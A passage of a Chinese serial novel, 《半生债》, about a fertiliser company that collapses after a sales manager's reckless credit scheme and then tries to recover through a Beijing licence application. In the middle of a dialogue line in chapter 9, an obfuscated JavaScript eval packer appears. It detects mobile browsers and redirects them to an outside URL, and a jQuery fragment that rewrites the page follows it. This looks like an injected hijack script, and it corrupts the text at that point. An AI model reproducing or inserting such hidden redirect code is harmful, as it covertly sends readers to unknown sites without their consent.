王霖转过头，在昏暗的光线里看妻子的脸。三十二岁的张莉，眼角已经有了细纹，熬夜盘账留下的黑眼圈还没消，但眼神还是那么清亮、坚定，像暗夜里的两盏小灯。 “嗯。”他掐灭烟，烟头在水泥地上捻出一个小黑点，“记住了。” 第二天，王霖去证券营业部清空了所有股票。剩下的二十三万转回公司账户，从此再没碰过股市。那个股票账户，他后来再没登录过，密码都忘了。 这个教训他记了一辈子，后来每次有人跟他说“有个赚钱快的好项目”，他都会想起2003年那个夜晚，想起那十七万是怎么没的，然后摆摆手： “做实业的，脚得踩在地上。天上掉馅饼的事，轮不到咱们这种人。” --- 战已在暗处滋生…… 《半生债》中卷第十三章·自渡（下篇） 六、空降的“救世主” 2005年秋天的美洲液肥，像一辆油门踩到底却卡在空挡的车——发动机轰鸣，车轮却动弹不得。 办公室里，王霖和吕顺平对着墙上那张全国地图，相对无言。四十七个红圈，代表四十七个需要维护的市场。黄文一走，这些红圈都变成了烫手山芋。 “济南老刘又来电话了。”王霖揉着太阳穴，“说竞争对手搞促销，问咱们跟不跟。” 吕顺平把烟摁灭：“跟？一箱利润才多少？送一箱咱们就白干了！” 可两人心里都清楚：不跟，市场就丢了。 他们都是技术出身。王霖会算账、会管人，可让他拎着样品去陌生城市敲门推销，他张不开嘴；吕顺平懂工艺、懂设备，可让他在酒桌上跟人称兄道弟，他浑身不自在。 黄文在的时候，这些从来不是问题。那个连大学门朝哪儿开都不知道的年轻人，能在东北炕头喝白酒，能在南方茶室品普洱，能在山东宴席上说段子，能在四川火锅局里划拳。更重要的是，他记得每个经销商的家长里短。 现在黄文走了，去深圳追机器人梦了。留下三个连客户名字都记不全的新人。 “得找个能扛事的人。”吕顺平又点烟，“真正懂行、有资源、能镇场子的人。” 王霖没说话。他知道这话的分量——要付出代价，很大的代价。 招聘广告登在《中国农资报》：“年薪保底十万，提成另计，费用实报实销，配专车。” 十万是什么概念？2005年，东海市区平均工资一千二。十万，够在开发区买套八十平的房子。 面试了十几个人，越面心越凉。要么满嘴跑火车，要么死气沉沉。 就在快要放弃时，刘建国出现了。 十月底一个阴沉的下午。刘建国推门进来时，王霖第一感觉是——这人太整齐了。 四十出头，身材像军人。藏青西装没有一丝褶皱，白衬衫领口挺括，黑皮鞋锃亮。金丝眼镜后的眼神锐利但不逼人。 “王总，吕总，打扰了。”握手有力，“刘建国，东海农药厂销售部干了十五年，从业务员做到副总。” 他坐下，打开旧公文包。拿出来的不是简历，是一本本装订整齐的文件夹： “2002年鲁西南市场开拓总结——九个月，份额做到百分之三十二。” “2003年价格战应对方案——建议提价百分之八但增服务，份额不降反升。” “2004年渠道优化报告——淘汰四十一个低效经销商，培养二十三个核心客户，回款率提升十八个百分点。” 王霖一页页翻看。报告条理清晰，数据详实，每份后面都附执行结果对比表。 “刘经理，”王霖抬头，“你在农药厂做得好好的，为什么想出来？” 刘建国推了推眼镜：“两个原因。第一，国企束缚多；第二，”他顿了顿，“我在寿光见过你们的美洲液肥，效果是真的好。我想做点有意义的事。” 这话打动了王霖。 面试到五点半。刘建国对农资市场的见解让吕顺平频频点头，渠道建设想法让王霖耳目一新。最后谈到待遇，刘建国很干脆： “年薪十万我要，但要销售额百分之二提成。费用实报实销，但每月提交详细报告。配车普桑就行，油费、过路费、维修费公司承担。” “还有，”他补充，“我要完整销售决策权——经销商选择、价格浮动、促销方案。你们可监督，不能干预。” 王霖和吕顺平对视。条件苛刻，但他们太需要这样一个人了。 三天后，王霖打电话：“刘经理，欢迎加入。” --- 七、烈火烹油 刘建国上任第一把火，烧得所有人措手不及。 他全盘否定黄文留下的“人情销售法”。 “感情要有，制度更重要。”第一次销售会议上说，“从今天起，所有人出差填日报。所有费用有票据，五块钱停车费也要。” 第二件事，重划市场。全国分六大区，每区设“区域经理”——虽然现在“经理”手下还没兵。亲自绘制销售地图。 第三件事，最狠——推出“信用销售”。 “现在农资行业全现款现货，咱们要打破规矩。”管理层会议上说，“给优质经销商账期——三十天、六十天、九十天，根据信誉定。他们资金压力小，就敢多进货。” 张莉第一个反对：“风险太大。咱们小公司，经不起坏账。” “风险我控。”刘建国很自信，“每个申请账期的经销商，我都会亲自考察。信誉不好的，一分钱账期不给。” 吕顺平犹豫：“这得占多少资金？” “三百万。”刘建国说，“但销售额至少翻两番。王总，吕总，舍不了孩子套不着狼。” 王霖沉默很久。三百万，几乎是公司全部流动资金。但看着墙上那些红圈，想着黄文走后市场的停滞。 “做。”他最终说，“但刘经理，你要立军令状——年底销售额做不到五百万，你自动离职。” “不止五百万。”刘建国笑了，“我要做到八百万。” 军令状立下了。 头三个月，效果惊人。 刘建国一个月二十八天在路上。跑遍山东、河南、河北、江苏、安徽，见上百经销商。工作方式与黄文截然不同——黄文靠人情，他靠专业。 给经销商讲课，讲液肥原理、科学施肥、病虫害防治。带着投影仪放PPT，农民听得直点头。 给经销商做经营分析，看进销存数据，算毛利、周转率、资金效率。有经销商说：“刘经理，你比我会计都懂行。” 更重要的是，他真的给了账期。第一批二十个优质经销商，拿到三十万到一百五十万不等信用额度。货哗啦啦发出去，销售额坐火箭。 2006年春节前，财务报表出来，所有人惊呆了。 销售额：八百九十万。比去年翻四倍半。 会议室欢腾。吕顺平拍刘建国肩膀：“老刘，你是这个！”竖起大拇指。王霖也难得笑了，让张莉发红包。 刘建国却很平静，推了推眼镜：“这才开始。明年，我要做到两千万。” 庆功宴上，刘建国喝多了。他拉着王霖的手：“王总，在农药厂十五年，我从没这么痛快过。在你这儿，你信我、放权给我……我刘建国，一定给你干出个样子！” 王霖动容：“刘经理，公司不会亏待你。” 那晚所有人都醉了。看着仓库堆成山的原料，看着车间忙碌的工人，看着财务报表上令人眩晕的数字，他们觉得，美洲液肥的黄金时代来了。 可他们不知道，烈火烹油时，最怕油温过高。 --- 八、裂缝 2006年春天，问题开始显露。 张莉发现，一些经销商回款开始拖延。合同写三十天账期，但四十五天、六十天还没回。她找刘建国，刘建国在接电话，示意等会儿。 挂了电话，刘建国说：“张会计，别急。农资行业都这样，春耕旺季，经销商资金紧张，缓一缓就回了。” “可咱们资金也紧张。”张莉说，“原料款要付，工资要发……” “这样，”刘建国想了想，“财务做统计，超期三十天以上列清单，我亲自去催。” 清单做出来，长长一列，涉及两百四十多万。刘建国带着清单出差，一去二十天。 回来时，他带回七十万回款，还有一堆解释：“这个经销商儿子结婚，钱花了”“那个被下游农户欠了款”“这个说货没卖完，卖完就回”…… 王霖看着那些解释，眉头紧锁：“刘经理，这样下去不行。咱们流动资金全压外面了。” “王总，做大事不能拘小节。”刘建国说，“现在是抢占市场关键期。咱们宽容点，经销商就忠诚点。等份额稳固了，再收紧。” 吕顺平这次站刘建国这边：“老王，老刘说得对。现在停货，前面投入全白费。” 王霖没说话。他隐隐不安，又说不出哪里不对。 真正让所有人惊醒的，是五月的事。 河北经销商老赵来东海“参观学习”。王霖请他吃饭，老赵喝多说漏嘴： “王总，你们公司真大气！刘经理说了，今年重点支持我，货尽管拿，款慢慢结。我仓库都堆不下了，慢慢卖呗，反正不要利息……” 王霖心里一沉。饭后找刘建国，刘建国在整理报销单——厚厚一沓，这个月光差旅费四万二。 “刘经理，河北老赵仓库堆满了还发货，合适吗？” 刘建国头也不抬：“王总，老赵是重点客户，今年要做两百万。现在压点货，旺季不怕断货。” “可他说款慢慢结……” “这是策略。”刘建国终于抬头，“王总，做销售你不懂。有时候就得让经销商欠咱们钱，欠得越多，绑得越紧。他敢转向对手，咱们一断货、一催款，他就死。” 这话听着有理，但王霖总觉得不对劲。他让张莉彻底查应收账款。 不查不知道，一查吓一跳。 截止2006年6月30日，应收账款四百九十二万。其中，超期九十天以上一百三十万，超期六十天以上两百二十万。最长欠款一百八十天。 而公司流动资金，只剩三十八万。 --- 九、崩盘 摊牌在七月初暴雨天。 王霖、吕顺平、张莉、刘建国，四人坐会议室。窗外雷声隆隆，雨点砸铁皮屋顶。 张莉把应收账款明细表发到每人手里。表格打印十二页，密密麻麻数字，像天罗地网。 “刘经理，”王霖声音平静得吓人，“解释一下。” 刘建国推了推眼镜，手微抖：“王总，这是市场拓展代价。咱们这两年销量翻六倍，不可能没坏账……” “这不是一点坏账。”吕顺平打断，脸涨红，“这是四百九十二万！咱们全部家当压外面了！现在原料商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196364|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天天催款，工资拖二十天，电费再不交就停电！” “我在催了……”刘建国还想辩。 “催回多少？”张莉问，“上月你出去催款，二十天花四万八，只带回二十五万。刘经理，这二十五万所含利润，够你差旅费吗？” 会议室死寂。只有雨声。 许久，王霖开口：“刘经理，从今天起，你停职。销售部我暂管。” 刘建国猛地站起：“王总！你不能这样！市场刚打开，你现在收紧，前面投入全白费！” “再不收紧，公司就死。”王霖看着他，“我只问一个问题——这些应收账款，有多少能收回？” 刘建国嘴唇动了动，没出声。 “有多少？”王霖提高声音。 “我……需要时间统计……” “现在就去统计！”吕顺平拍桌子，“今天不搞清楚，谁也别走！” 统计三天。刘建国、张莉、临时调来三人，打电话、对账、查合同。 结果出来那晚，王霖在办公室坐一夜。 应收账款总额：四百九十二万。 其中，“肯定能收回”：五十八万。 “努力可能收回”：九十三万。 “希望不大”：一百八十二万。 “已失联或明确不还”：一百五十九万。 最让王霖心寒的，是查出另一件事——有九个经销商，是刘建国亲戚朋友开的空壳公司。从美洲液肥拿货，低价抛售套现做别的生意。涉及金额：九十一万。 而刘建国这半年费用报销，三十二万。很多票据假的，连加油票都过期。 天亮，吕顺平推门进来。眼窝深陷，显然也一夜没睡。 “老王，”声音沙哑，“咱们……被耍了。” --- 十、十字路口 接下来一周，公司像艘漏水船。 原料商听说资金紧张，全要求现款；工人听说工资发不出，开始浮动；经销商那边更糟——听说美洲液肥出事，本来想回款的也不回了，等着拖折扣。 王霖和吕顺平开无数会，吵无数架，最后发现面前只有两条路： 第一条：打官司。 请律师起诉欠款经销商。律师看了材料摇头：“王总，不是不能打，是太难。客户分散十几个省，每个案子单独立案、开庭、执行。就算都赢了，执行也难——很多经销商就个门头，名下没资产。三五年能要回几十万就算好。而且，这三五年，你们啥也别干了。” 第二条：搁置。 承认一百六十八万七千元坏账（最终核实无法收回金额），当做沉没成本。想办法筹钱重启。但这意味着，王霖和吕顺平投进去的所有钱——王霖七十万，吕顺平三十万（技术资料作价），加上一年多赚的钱全填进去，还不够，欠原料商四十多万。 “这是咱们全部家当啊。”吕顺平说这话时眼圈红了，“老王，我五十了，这些钱是我后半辈子指望。” 王霖知道。吕顺平在国企干一辈子，攒三十万全投了。现在说没就没了。 “老吕，对不起。”王霖说，“是我决策失误，不该那么信刘建国。” “现在说这有什么用。”吕顺平摆手，“说怎么办吧。” 两人又沉默。 最后，吕顺平先开口：“老王，我……想退了。” 王霖抬头。 “我五十了，经不起这么折腾。”吕顺平声音很轻，“剩下摊子，你处理吧。股份我不要了，欠款也不追了。咱们……好聚好散。” 王霖想说什么，张了张嘴，没说出来。 “好。”王霖最终说，“老吕，这两年……谢谢你。” 吕顺平走了。走时没回头，背影佝偻，像一夜老了十岁。 --- 十一、绝地 办公室里只剩王霖。墙上那张全国地图，红圈每一个都像伤口。 张莉推门进来，端杯热茶。 “都走了？”她问。 “嗯。” “你打算怎么办？” 王霖接过茶杯，水温透过瓷壁传到掌心。 “我不知道。”他说实话，“张莉，咱们……可能真的一无所有了。” 张莉在他对面坐下，很平静：“怎么会一无所有？咱们有配方，有技术，有品牌。还有，”她顿了顿，“咱们还有人。车间老李、老赵、刘姐，今早来找我，说工资可以先不发，等公司缓过来。” 王霖愣了。 “原料商老周也打电话。”张莉继续说，“说可以再赊一批原料，但量不能大，要签个人担保。” “你答应了？” “我说考虑考虑。”张莉看着他，“王霖，现在只有两条路：要么认输，卖设备换点钱，咱们回去上班——我托人问了，工商银行储蓄部还缺副主管；要么，再赌一把。” 王霖看妻子。张莉穿浅蓝衬衫，袖口挽到小臂，那是银行上班时的习惯。眼神清澈坚定，就像当年她说“我辞职，去帮你管账”时一样。 “赌输了怎么办？”王霖问。 “输了就输了。”张莉笑了笑，“大不了我养你。银行工作我能回去，一月一千八，够咱们吃饭。” 王霖眼泪掉下来。他低头。 “让我想想。”他说。 --- 王霖想了三天。 这三天，他做了几件事： 第一，去车间开工人会。他没隐瞒，把公司情况一五一十说了。最后说：“愿意留下的，工资暂时发百分之六十，剩下打欠条，等公司缓过来双倍补。想走的，我理解，欠的工资砸锅卖铁也会结清。” 三十七个工人，走十一个，留二十六个。老李说得实在：“王总，我跟你干三年，知道你是什么人。困难是暂时的，我等得起。” 第二，找原料商老周，签个人担保协议，赊二十万原料。老周拍他肩膀：“王总，我看好你这个人。这次小心点。” 第三，开始筹钱。 房子抵押给银行，贷二十万——那是结婚时买的房，六十平，住了十二年。签字时，王霖手抖。 张莉回娘家借八万——她哥准备买房的钱，说好半年还。 王霖那些老关系——省经委同事、新陶老客户、矿区朋友，能借的都借了。三千五千不嫌少，三万五万不嫌多。最感动是李老师，老爷子退休工资不高，拿三万来：“王霖，这钱不急还。我相信你能成。” 东拼西凑，三十七万。加上老周赊的二十万原料，一共五十七万。 这就是全部本钱。 2006年9月，美洲液肥在破产边缘，重新启动。 --- 十二、一步一个脚印 重新起步，王霖换了打法。 第一，收缩战线。全国四十七个市场，只保留山东。几百个经销商，只留信誉最好的十九个——都是黄文在时发展的老客户。 第二，改变销售政策。所有交易，一律现款现货。不打折，不赊欠，不搞促销。王霖说得实在：“咱们现在输不起，宁可不做，不能做错。” 第三，产品聚焦。砍掉所有延伸产品，只做最核心的“美洲液肥（蔬菜专用肥）”。销售成了最大问题。王霖自己上阵。 他背着样品，开始跑市场。第一站寿光——起家的地方，李老师做试验田的地方。 找到老赵，最早用美洲液肥的菜农。老赵正在大棚摘黄瓜，看见王霖愣了下：“王总？你咋亲自来了？” 王霖没隐瞒，把公司出事全说了。最后说：“赵哥，我现在重新开始。货还是那个货，质量只高不低，但必须现款。你要愿意支持，我感激；不愿意，我理解。” 老赵擦擦手，接过样品瓶看了看：“王总，我信你。当初你这肥让我多赚多少，我心里有数。这样，我先拿二十箱，现款。” 第一单，成了。 但更多时候碰壁。 在青州，大经销商直接说：“王总，不是我不帮你。你们公司现在这情况，谁敢进货？万一明天关门了，我找谁去？” 在临沂，老客户说得更直接：“王总，你们欠我三万六货款还没结呢。先把旧账清了，再谈新的。” 王霖一家一家跑，一家一家说。说实话，不隐瞒，不夸大。有时一天跑三个县，见七八个客户，一单都没成。晚上住二十块钱小旅馆，躺在床上算账——今天油费多少，饭钱多少，见几个客户，成几单。 最困难时，连续七天没开一单。张莉打电话来，声音担心：“王霖，要不……先回来？” “再跑两天。”王霖说，“还有个客户说考虑考虑。” 说的客户是菏泽小马，二十五岁，农校毕业，在镇上开小农资店。王霖去找他时，小马正在店里啃馒头。 “马老板，我给你供货，不要你压钱。”王霖说，“你先拿十箱试卖，卖完了再结款。但有个条件——你得真去地里给农民做示范，真讲清楚这肥好在哪儿。” 小马犹豫：“要是卖不掉呢？” “卖不掉我拉走，一分钱不要你的。”王霖说，“但我相信能卖掉——因为咱们的肥，真的管用。” 小马答应了。王霖帮他在店门口搞示范田，种白菜，一边用普通复合肥，一边用美洲液肥。二十天后，效果出来了——用美洲液肥的白菜叶子厚、颜色深、长得快。 农民来看，一看就明白。十箱肥，三天卖完。 小马打电话：“王总，再发二十箱！不，五十箱！我现款！” 这是第一个完全靠自己跑下来的新客户。虽然量不大，但意义重大——它证明，即使没有“专业销售”，即使公司名声受损，只要产品真的好，只要方法对路，市场还是认的。 王霖调整策略。不再碰大经销商，专找像小马这样的——年轻、肯干、没那么多算计的小店主。帮他们做示范，教他们讲课，陪他们见农民。虽然慢，但扎实——每个卖出去的客户，都是真认可；每个回的款，都是实实在在的钱。 到2006年年底，四个月时间，王霖跑了五十多个县，发展十一个新客户。销售额：六十三万。 不多，但每一分钱都回了款。 更重要的是，口碑一点点回来了。农民说“美洲液肥又回来了，还是那么好用”；小经销商说“他们现在规矩，不欠款”。 --- 十三、转机 2007年春节，美洲液肥开最简单年会。车间二十六个工人全来，加上王霖、张莉、李老师。 桌上四个菜，多一盆饺子。王霖端酒杯站起来，手有点抖： “这半年，不容易。感谢大家没放弃，感谢大家相信我王霖还能站起来。我保证，欠大家的工资，今年一定还清。明年的今天，咱们要在这里，吃更好的饭，喝更好的酒！” 工人们鼓掌，有人抹眼泪。老李说：“王总，我们信你！” 窗外鞭炮声起。新的一年要来了。 春节后，王霖接到一个意外电话。 “王总，听说你在重新做美洲液肥？”电话那头声音熟悉，“我这边有点资源，要不要聊聊？” 是省农科院的老陈，王霖以前送样品检测时认识的。老陈现在调到省农业厅，负责农技推广。 两人在东海见面。老陈开门见山：“王总，省里要搞‘农资连锁经营试点’，扶持几家有技术、有品牌的企业。我觉得你们美洲液肥符合条件。” “连锁经营？”王霖不太懂。 “简单说，就是统一品牌、统一采购、统一配送、统一服务。”老陈解释，“国家有政策支持，还能拿农资经营许可证——那个证现在很难批。” 王霖心动了。但他实话实说：“陈处，我们现在……资金很紧张。” “资金可以找。”老陈说，“关键是你们有没有这个决心。如果有，我帮你引荐几个人。” 一周后，王霖在省城见了三个人：农业厅的领导、连锁经营专家、还有……一个叫徐总的投资人。 徐总四十多岁，穿着休闲，说话直接：“王总，我看过你们材料。配方是自己研发的，效果有数据，市场虽然受挫但基础还在。最关键的是，”他顿了顿，“你们吃过亏，知道怎么不犯错。” “徐总的意思是？” “我可以投钱。”徐总说，“但有两个条件：第一，必须拿到农资连锁经营许可证；第二，黄文必须回来——我听说他是你们销售的关键人物。” 王霖愣住了。黄文……他走了快两年了。 “徐总认识黄文？” “不认识，但听说过。”徐总笑了，“做投资，得把功课做足。你们美洲液肥最早能起来，黄文功不可没。现在要重启，没他不行。” 那天晚上，王霖在宾馆房间里，看着手机里黄文的号码，犹豫了很久。 最后他还是拨了出去。电话响了七八声，就在他要挂断时，接通了。 “喂？”黄文的声音，带着疲惫。 “黄文，是我。”王霖说。 电话那头沉默了几秒。 “王哥？”黄文的声音变了，“您……怎么想起给我打电话？” “公司出事了。”王霖直接说，“刘建国把摊子搞垮了，应收账款一百六十多万收不回来。老吕退了，我现在……重新起步。” 又是沉默。 “黄文？” “王总，”黄文的声音传来，疲惫里带着别的什么，“我在深圳……也不太好。机器人搞不下去了，钱烧完了，合伙人闹翻了。我正打算……回东海。” 王霖心里一动：“回来帮我。这次没有高薪，没有保底。只有欠条和……一个机会。” “什么机会？” “省里要搞农资连锁试点，有风险投资公司愿意投钱，但条件是你必须回来。还有，”王霖顿了顿，“要拿到农资连锁经营许可证。” 电话那头，黄文笑了。笑声透过电流传来，有点失真，但王霖听出了里面的味道——那是当年他说“干”时的味道。 “王总，”黄文说，“等我。三天后到。” 挂了电话，王霖走到窗前。省城的夜晚灯火辉煌，远处高架桥上车流如织。 他想起了四年前那个春天，他推开仓库绿铁门时的情景。想起了这两年的跌宕起伏，想起了那些失眠的夜晚，想起了吕顺平离开时的背影。 这一路，他欠了很多债——欠工人的工资，欠原料商的货款，欠银行的贷款，欠那些信任他的人的期待。 但现在，他看到了还清的希望。 而最重要的，是他欠自己的那个承诺——做一个真正的好产品，做一个值得信赖的企业，做一个脚踏实地的人。 这个承诺，他正在一点点兑现。 窗外，夜色深深。但王霖知道，天总会亮的。 而天亮之后，黄文就回来了。 他们还有一场硬仗要打——去北京，拿那张能改变命运的许可证。 十三章下篇完9846字 （第十三章·自渡完全文字数：约15800字） 第十三章上篇完 6800字 24. 《半生债》中卷 第十四章·破局 《半生债》中卷第十四章·破局 一、惊蛰归人 2007年惊蛰，黄文背着褪色的帆布包走出东海火车站时，站前广场那棵老槐树刚冒出嫩芽。晨光斜照，包上的“深圳”字样已磨得发白，像一纸褪色的判决书。 包里除了几件旧衣裳，就剩三样东西：三十万投资换来的破产清算书、合伙人用红笔写的“道不同不相为谋”，还有半盒没抽完的“好日子”——烟盒被揉皱了，里面的烟也受了潮，一如他在深圳那两年。 王霖在出站口的报刊亭旁等他。两人隔着七八步远对视了三秒，谁都没开口。然后王霖走过来，接过他肩上的包，轻得像接过一片羽毛。 “轻了。”王霖说。 “都留下了。”黄文答。 两人都没再说，只是肩膀碰了碰肩膀，像两棵在风里站久了的树。 车上，王霖递过个牛皮纸档案袋，边角被磨得起了毛。 “什么？” “敲门砖。”王霖发动车子，老桑塔纳的引擎咳嗽了两声才喘匀气，“农资连锁经营项目可行性报告，四十八页。我熬了七个通宵，张莉查数据，李老师校技术，农业局老陈给画的道道。” 黄文翻开，目录页工整得像印刷品。市场分析、技术优势、商业模式、财务预测、风险控制……每一个词下面都是密密麻麻的数据和图表。他看见山东省农资市场规模那一栏：67.8亿元；看见美洲液肥在黄瓜上的增产数据：18.3%；看见连锁模式的资金回报率预测：三年内年化36%。 “你写的？”黄文抬头，日光从车窗斜进来，照见王霖鬓角新添的白发。 “不然呢？”王霖苦笑，笑容在晨光里皱成一团，“连标点符号都是我敲的。” 车子拐进高新区。路边的梧桐树新叶未满，光秃的枝桠在天空划出细密的网。仓库那扇绿铁门出现在视野里时，黄文喉咙紧了紧——门上新刷的漆在阳光下泛着油润的光，像刚结痂的伤口。 老李正带人卸货，一扭头看见黄文，手里的麻袋“噗通”掉在地上。 “黄……黄经理？” “回来了。”黄文跳下车，水泥地面凉意透过鞋底，“以后不走了。” 工人们围上来，像归巢的鸟雀叽叽喳喳。有人说“瘦了”，有人说“深圳咋样”，有人说“回来就好”。黄文一一应着，目光却粘在仓库墙上——那张全国地图比两年前大了整整一圈，红圈密密麻麻，像麻疹病人身上的疹子。 午饭在仓库里吃。张莉提来三个保温桶，盖子一开，红烧肉的香气混着米饭的热气蒸腾起来，在车间弥漫成一片温润的雾。 “黄文，多吃。”张莉给他盛了冒尖的一碗，“在外头吃不好吧？” “还行。”黄文扒了一大口，米粒粘在嘴角，“就是……没嫂子做的有味儿。” 饭桌上，王霖摊开计划：下周三去北京，商务部农资司，约了李处长。材料齐了，省农业厅的引荐信也开了，连往返车票都买好了。 “徐总那边？”黄文筷子停在半空。 “说只要拿到许可证，钱马上到位。”王霖放下筷子，陶瓷碰撞发出清脆的响，“但有个条件——你得当总经理，整个连锁体系你来扛。” “我？”黄文筷子尖的米粒掉回碗里。 “对。”王霖盯着他，眼神像两枚生锈的钉子，“徐总说，投资不光看项目，更看人。他说你是能把事情从零干到一的那种人。” 黄文沉默了。深圳的记忆像潮水漫上来——城中村出租屋里彻夜亮着的台灯，展会现场被人推搡的肩膀，三十七个投资人的摇头，还有合伙人最后那句话：“黄文，你要的是速成，我要的是深耕。咱们不是一路人。” 现在，路又铺到脚下了。只是这一次，他膝盖有点软。 “王总，”他抬起眼，“要是再砸了……” “那就再爬。”王霖说得轻描淡写，像在说“天阴了要下雨”，“咱们又不是没砸过，也不是没爬过。” 窗外，午后的阳光正好。一只麻雀落在仓库窗台上，歪着头往里看。 --- 二、京华十五分 北京的三月，风像刀子。从西伯利亚刮来的寒流还没走干净，在长安街上打着旋儿，卷起地上的沙尘和纸屑。 王霖和黄文住在商务部后身的小旅馆。八十一晚，房间小得两人同时转身就得撞上。墙纸泛黄卷边，天花板有水渍晕开的云纹。唯一的优点是近——走路十分钟就到部委大院。 头一天，他们连门都没摸进去。 “找谁？”门卫是个五十多岁的老同志，制服笔挺，眼神像探照灯。 “约了农资司李为民处长。”王霖递上介绍信，信纸在风里哗哗响。 门卫戴上老花镜，一个字一个字地瞅：“李处？哪个李处？我们这儿三个姓李的处长。” “李……李为民处长。” “哦，李为民。”门卫点点头，摘下眼镜，“他今儿开会，没在。明儿再来吧。” 第二天，见着了李处长的秘书。年轻人三十出头，白衬衫领口雪白，黑框眼镜后的眼睛像两口深井。 “材料搁这儿吧。”秘书接过公文包，掂了掂，“够沉的。李处最近忙，得排期。留个电话，有信儿通知。” “大概……多久？”黄文问。 “这可不好说。”秘书推推眼镜，镜片反着走廊的灯光，“快的话一两周，慢的话……”他笑了笑，没说完。 走出大楼，黄文点了支烟。风大，打火机打了三次才着。 “王总，这……” “等。”王霖只说一个字。 等了一周。白天在旅馆改材料，晚上去附近“老北京炸酱面”吃饭。十八块一碗，面码给得足，黄文总要把酱搅得匀匀的才下筷子。 第八天下午，旅馆那部红色电话机响了，铃声刺耳。 “东海来的王总？”是秘书的声音，“明儿上午九点，李处有十五分钟。抓紧。” 挂了电话，两人对视。房间太小，能听见彼此的呼吸。 “成了？”黄文问。 “门开了条缝。”王霖说，“能不能挤进去，看本事。” --- 三、十五分钟 第二天早八点半，两人就等在走廊。王霖穿着张莉熨烫的西装——深蓝色，料子一般，但棱角分明；黄文换了件新衬衫，领口浆得硬挺。 九点整，秘书推开门：“进。” 办公室不大，一张宽大的办公桌占去一半。两排书架顶到天花板，塞满了文件和书籍。墙上挂着幅中国地图，用红蓝铅笔做了密密麻麻的标记。 李处长五十多岁，头发花白，正伏案看文件。听见脚步声，没抬头，只抬了抬手：“坐。” 两人在对面的椅子上坐下，腰板挺得像两根标枪。 李处长看完最后一页，合上文件夹，才抬起头。他的眼睛不大，但眼神锐利，像能把人看透。 “东海来的？做液肥的？” “是。”王霖双手递过材料，“这是我们项目的可行性报告。” 李处长没接，目光在材料封面上扫了扫：“农资连锁，知道难在哪儿吗？” “知道。”王霖声音平稳，“资金门槛高，管理难度大，政策要求严。” “既然知道，为什么还要做？” “因为市场需要。”这次是黄文开口，声音有点紧，但吐字清晰，“李处，我们跑过全国一百多个县，见过太多农民用着不合格的肥料。不是不想用好的，是好的到不了手里。农资店分散，监管困难，假货横行。如果能有统一的连锁体系，统一采购、统一配送、统一服务，农民就能用上放心肥，价格还能便宜。” 李处长看了黄文一眼，眼神里有审视：“你是？” “黄文，负责市场。” “说得都对。”李处长端起茶杯，杯盖碰着杯沿，发出清脆的响，“但你知道全国有多少家想干这个吗？知道为什么批下来的没几家吗？” “知道。”王霖接过话茬，“因为大多数企业只想拿政策，不想做事。拿到证就想着套补贴、圈地、搞房地产。真正想做实事、能做实事的，不多。” 办公室里静了几秒。窗外传来远处街道的车流声，像低沉的潮水。 李处长放下茶杯，终于接过那份材料。 他翻得很慢，一页一页，像在检阅士兵。看到市场分析，他停了停；看到技术优势，他点了点头；看到财务预测，他皱起眉；看到风险控制，他抬起头。 “资金从哪来？” “有风投愿意投，前提是拿到许可证。” “技术呢？液肥的核心，你们掌握了？” “掌握了。”王霖从包里拿出检测报告，纸页哗啦作响，“这是我们自己研发的配方，省农科院做的检测，效果比进口的还好。” 李处长接过检测报告，戴上老花镜仔细看。墙上的钟“嗒、嗒”地走，秒针像把小锤子敲在人心上。 十五分钟，到了。 “材料搁这儿吧。”他合上报告，摘下眼镜，“但我要提醒你们——就算我这过了，后面还有省、市两级现场考核，专家评审。过关了，还要一审、二审。整个过程，少说一年。” “我们知道。”王霖站起来，“我们等得起。” 李处长看着他们，眼神复杂：“你们知道最可能卡在哪儿吗？” “资金？”黄文试探。 “不。”李处长摇头，“是人。连锁经营，最难的是管人。一万家店，就是一万个风险点。管好了，利国利民；管不好，就是场灾难。” 他顿了顿，声音低沉：“你们想清楚了吗？” “想清楚了。”王霖说，“我们已经掉过坑了。知道坑在哪儿，才能绕着走。” 李处长沉默良久，最后挥了挥手：“回吧。” 走出大楼，北京的天空灰蒙蒙的，像块用旧了的抹布。风很大，吹得人睁不开眼。 “王总，你说……有戏吗？”黄文眯着眼问。 王霖抬头望天，望了很久：“不知道。但该做的都做了，剩下的，交给天吧。” --- 四、百日炼狱 等待的日子像钝刀子割肉。 回东海后，王霖和黄文开始了漫长如修行的准备。李处长说得对，真正的考验在后面。 王霖把仓库彻底改了模样。简易车间按GMP标准重造，墙面贴上白瓷砖，地面刷了环氧地坪；化验室添了气相色谱仪、紫外分光光度计；仓库划出原料区、成品区、待检区，黄线标得像交通标线；连工人的工作服都换成统一定制的蓝色工装，胸前绣着“美洲液肥”四个小字。 张莉负责整理文件。她把银行那套严谨全搬来了——生产记录、检验报告、销售台账、客户档案，一本一本，装订成册，封面用打印纸打印，页码手写，像古籍修复师对待善本。 黄文跑市场，把现有的十九个经销商筛了三遍。不符合要求的，该砍的砍，该补的补。最远跑到黑龙江佳木斯，撤了个拖欠货款半年的经销商。损失五万，黄文咬着牙说：“宁缺毋滥。考核组会随机抽查，一个不合格，满盘皆输。” 李老师也没闲着。老爷子带着两个徒弟，把配方工艺从头捋到尾，做了本标准化操作手册，厚得像砖头。他说：“搞科研的，最怕‘大概’‘差不多’。” 2007年7月，省考核组来了。 五个人——农业厅的孙处长、农科院的赵研究员、工商局的刘科长，还有两个记录员。孙处长六十出头，戴副老花镜，话不多，但眼神像探针，能扎进人心里。 考核三天，像过三关。 第一天看现场。孙处长在车间里转了三圈，一会儿摸设备温度，一会儿看标识清晰度，一会儿问工人操作规范。他问一个灌装工：“如果灌装量出现偏差，你怎么处理？” 工人紧张得结巴：“报、报告班长。” “班长呢？” “在、在那边……” 孙处长摇摇头，在记录本上划了一笔。 第二天查文件。五个人把张莉准备的文件翻了底朝天。生产记录少了一天，扣分；检验报告有个数据涂改，扣分；销售台账和财务账差三百块对不上，扣分。 